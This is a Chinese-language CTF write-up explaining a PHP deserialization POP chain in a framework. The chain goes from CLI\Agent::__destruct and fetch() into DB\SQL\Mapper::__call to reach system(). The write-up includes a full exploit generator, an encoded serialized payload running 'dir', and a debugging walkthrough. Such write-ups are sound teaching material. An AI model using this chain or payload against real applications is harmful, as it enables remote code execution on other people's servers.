题目源码可以在XCTF平台上下载到。
下载源码,有readme,通过readme可以得知是某个框架。于是通过GitHub下载源版文件进行对比。
主页只给了一个反序列化。应该考察的是反序列化。
那么就需要寻找入口函数__destruct()或者__wakeup()
删了两处__destruct(),应该是防止走偏。
那么入口应该在第三处CLI\Agent::__destruct()
入手
function __destruct() { if (isset($this->server->events['disconnect']) && is_callable($func=$this->server->events['disconnect'])) $func($this); }
这里根据$this->server->events['disconnect']
可以尝试将$func控制为任意函数
is_callable()
判断$fun是否为可执行的函数,其值可以为一个数组。
然后执行这个函数。
那么如何通过这个函数进行RCE呢?这里寻找函数就变得很重要。
因为这里无法控制这个函数的参数。于是我们考虑构造__call()
的方法进行攻击。
搜寻类似这种格式。
其中$A是我们可控的,为某一个类。B是用来触发__call()
方法的$A类中的那个并不存在的方法。__call()
方法的返回值即为危险方法,比如system()
等。C也是我们可控的一个变量。在这道题中作为system()
的参数。
CLI\Agent::fench
function fetch() { // Unmask payload $server=$this->server; if (is_bool($buf=$server->read($this->socket))) return FALSE;
CLI\DB\JIG\mapper::insert
function insert() { if ($this->id) return $this->update(); $db=$this->db; $now=microtime(TRUE); while (($id=uniqid(NULL,TRUE)) && ($data=&$db->read($this->file)) && isset($data[$id]) && !connection_aborted()) usleep(mt_rand(0,100));
CLI\DB\JIG\mapper::erase
function erase($filter=NULL,$quick=FALSE) { $db=$this->db; $now=microtime(TRUE); $data=&$db->read($this->file);
这些都符合我们的要求。这里以第一种举例,socket
和server
都是我们可控的
接下来只需要寻找一个可以返回任意值的__call()
方法。
最终在DB\SQL\Mapper::__call()
发现返回值为
function __call($func,$args) { return call_user_func_array( (array_key_exists($func,$this->props)? $this->props[$func]: $this->$func),$args ); }
返回值为$this->props[$func]
其中props可控,且$func为刚才的read函数,所以$func就为read
那么值需要控制props[read]
为system
就行了。
exp
<?php namespace DB\SQL { class Mapper { protected $props; public function __construct($props) { $this->props = $props; } } } namespace CLI { class Agent { protected $server; protected $socket; public function __construct($server, $socket) { $this->server = $server; $this->socket= $socket; } } class WS { protected $events = []; public function __construct($events) { $this->events = $events; } } } namespace { class Log { public $events = []; public function __construct($events) { $this->events = $events; } } $a = new DB\SQL\Mapper(array("read"=>"system")); //把props赋值为props[read]=system $b = new CLI\Agent($a, 'dir'); //$a即为Mapper的实例化对象,且不含有read()方法。触发了Mapper的__call()方法,返回了system替换read。同时dir为socket赋值,作为system的参数 $c = new Log(array("disconnect"=>array($b,'fetch')));//给event[]变量赋值为array("disconnect"=>array($b,'fetch')), array($b,'fetch')即为fentch,其中$b为fetch的所属类 $d = new CLI\Agent($c, '');//触发__destruct()的点,这里的类是随意的。 $e = array(new \CLI\WS(""),$d); //为了加载ws.php echo urlencode(serialize($e))."\n"; }
payloadO%3A6%3A%22CLI%5CWS%22%3A1%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A9%3A%22CLI%5CAgent%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00server%22%3BO%3A5%3A%22Image%22%3A1%3A%7Bs%3A6%3A%22events%22%3Ba%3A1%3A%7Bs%3A10%3A%22disconnect%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A9%3A%22CLI%5CAgent%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00server%22%3BO%3A13%3A%22DB%5CSQL%5CMapper%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00props%22%3Ba%3A1%3A%7Bs%3A4%3A%22read%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A9%3A%22%00%2A%00socket%22%3Bs%3A3%3A%22dir%22%3B%7Di%3A1%3Bs%3A5%3A%22fetch%22%3B%7D%7D%7Ds%3A9%3A%22%00%2A%00socket%22%3Bs%3A0%3A%22%22%3B%7D%7D
尝试本地调试:
进入反序列化
开始加载php文件,这样会加载cli文件夹下的ws.php。这也就是为什么要$e = new CLI\WS($d); //为了加载ws.php
加载了ws.php才会进入ws.php中的__destruct()方法。
等全部加载完之后进入__destruct()
server为我们控制的Image类。Image类下的event[]也为我们控制的array("disconnect"=>array($b,'fetch'))
于是就过了这个判断,且为$func
赋值为fetch
。
然后跟进fetch()
函数
此时$server
为我们赋值的Mapper
类对象,且Mapper
类中没有read()这个方法。于是触发了Mapper
类对象中的__call()
方法
$func即为上图中的read,因为我们在一开始赋值props[read]=system
所以props数组中是存在名为read的键的,所以判断为True。
返回了props[read]
即system。
此时的read为返回值system,且socket为我们控制的值dir。那么就执行了system('dir')。达成了RCE的目的